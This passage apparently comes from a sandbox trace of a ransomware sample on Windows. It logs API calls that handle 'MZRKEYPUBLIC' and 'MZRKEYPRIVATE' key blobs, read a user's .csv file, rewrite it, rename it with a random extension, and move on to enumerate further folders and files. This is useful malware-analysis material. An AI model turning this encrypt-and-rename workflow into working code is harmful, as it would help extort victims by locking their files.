hIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0088.587] GetCurrentThreadId () returned 0xa30 [0088.587] GetCurrentThreadId () returned 0xa30 [0088.587] GetCurrentThreadId () returned 0xa30 [0088.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.588] GetCurrentThreadId () returned 0xa30 [0088.588] GetCurrentThreadId () returned 0xa30 [0088.588] GetCurrentThreadId () returned 0xa30 [0088.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\ZBpLsdIGq.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\zbplsdigq.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0088.588] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0088.588] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0088.588] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x9bed [0088.588] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0088.588] ReadFile (in: hFile=0x118, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x9bed, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f3d4*=0x9bed, lpOverlapped=0x0) returned 1 [0088.590] CloseHandle (hObject=0x118) returned 1 [0088.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\ZBpLsdIGq.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\zbplsdigq.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0088.594] WriteFile (in: hFile=0x118, lpBuffer=0x1f2a130*, nNumberOfBytesToWrite=0x9bed, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f2a130*, lpNumberOfBytesWritten=0x18f3e0*=0x9bed, lpOverlapped=0x0) returned 1 [0088.597] CloseHandle (hObject=0x118) returned 1 [0088.597] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\ZBpLsdIGq.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\zbplsdigq.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\ZBpLsdIGq.csv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\zbplsdigq.csv.zv7un")) returned 1 [0088.598] GetCurrentThreadId () returned 0xa30 [0088.598] GetCurrentThreadId () returned 0xa30 [0088.598] GetCurrentThreadId () returned 0xa30 [0088.598] GetCurrentThreadId () returned 0xa30 [0088.598] GetCurrentThreadId () returned 0xa30 [0088.598] GetCurrentThreadId () returned 0xa30 [0088.598] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e77be0, ftCreationTime.dwHighDateTime=0x1d5e11a, ftLastAccessTime.dwLowDateTime=0x6d41d190, ftLastAccessTime.dwHighDateTime=0x1d5e5e1, ftLastWriteTime.dwLowDateTime=0x6d41d190, ftLastWriteTime.dwHighDateTime=0x1d5e5e1, nFileSizeHigh=0x0, nFileSizeLow=0x9bed, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZBpLsdIGq.csv", cAlternateFileName="ZBPLSD~1.CSV")) returned 0 [0088.598] GetLastError () returned 0x12 [0088.599] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0088.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb1ff40, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0x52b100c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52b100c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0088.599] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0088.599] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.599] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb1ff40, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0x52b100c0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52b100c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.599] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.599] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.599] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36776770, ftCreationTime.dwHighDateTime=0x1d5e5f9, ftLastAccessTime.dwLowDateTime=0x5c95f900, ftLastAccessTime.dwHighDateTime=0x1d5d9b8, ftLastWriteTime.dwLowDateTime=0x5c95f900, ftLastWriteTime.dwHighDateTime=0x1d5d9b8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="FmpsaQJLUMaR", cAlternateFileName="FMPSAQ~1")) returned 1 [0088.599] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.599] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36776770, ftCreationTime.dwHighDateTime=0x1d5e5f9, ftLastAccessTime.dwLowDateTime=0x5c95f900, ftLastAccessTime.dwHighDateTime=0x1d5d9b8, ftLastWriteTime.dwLowDateTime=0x5c95f900, ftLastWriteTime.dwHighDateTime=0x1d5d9b8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0088.600] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36776770, ftCreationTime.dwHighDateTime=0x1d5e5f9, ftLastAccessTime.dwLowDateTime=0x5c95f900, ftLastAccessTime.dwHighDateTime=0x1d5d9b8, ftLastWriteTime.dwLowDateTime=0x5c95f900, ftLastWriteTime.dwHighDateTime=0x1d5d9b8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.600] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf882f870, ftCreationTime.dwHighDateTime=0x1d5d933, ftLastAccessTime.dwLowDateTime=0x4d4e5290, ftLastAccessTime.dwHighDateTime=0x1d5e4c0, ftLastWriteTime.dwLowDateTime=0x4d4e5290, ftLastWriteTime.dwHighDateTime=0x1d5e4c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Jyh1PVUP5TT-PP", cAlternateFileName="JYH1PV~1")) returned 1 [0088.600] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e843540, ftCreationTime.dwHighDateTime=0x1d5d961, ftLastAccessTime.dwLowDateTime=0x889f370, ftLastAccessTime.dwHighDateTime=0x1d5dab2, ftLastWriteTime.dwLowDateTime=0x889f370, ftLastWriteTime.dwHighDateTime=0x1d5dab2, nFileSizeHigh=0x0, nFileSizeLow=0x638f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="QNAASLZXJlZKG.pdf", cAlternateFileName="QNAASL~1.PDF")) returned 1 [0088.600] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0088.600] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\QNAASLZXJlZKG.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\qnaaslzxjlzkg.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e843540, ftCreationTime.dwHighDateTime=0x1d5d961, ftLastAccessTime.dwLowDateTime=0x889f370, ftLastAccessTime.dwHighDateTime=0x1d5dab2, ftLastWriteTime.dwLowDateTime=0x889f370, ftLastWriteTime.dwHighDateTime=0x1d5dab2, nFileSizeHigh=0x0, nFileSizeLow=0x638f)) returned 1 [0088.600] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\QNAASLZXJlZKG.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\qnaaslzxjlzkg.pdf")) returned 0x20 [0088.600] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\QNAASLZXJlZKG.pdf", dwFileAttributes=0x80) returned 1 [0088.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjM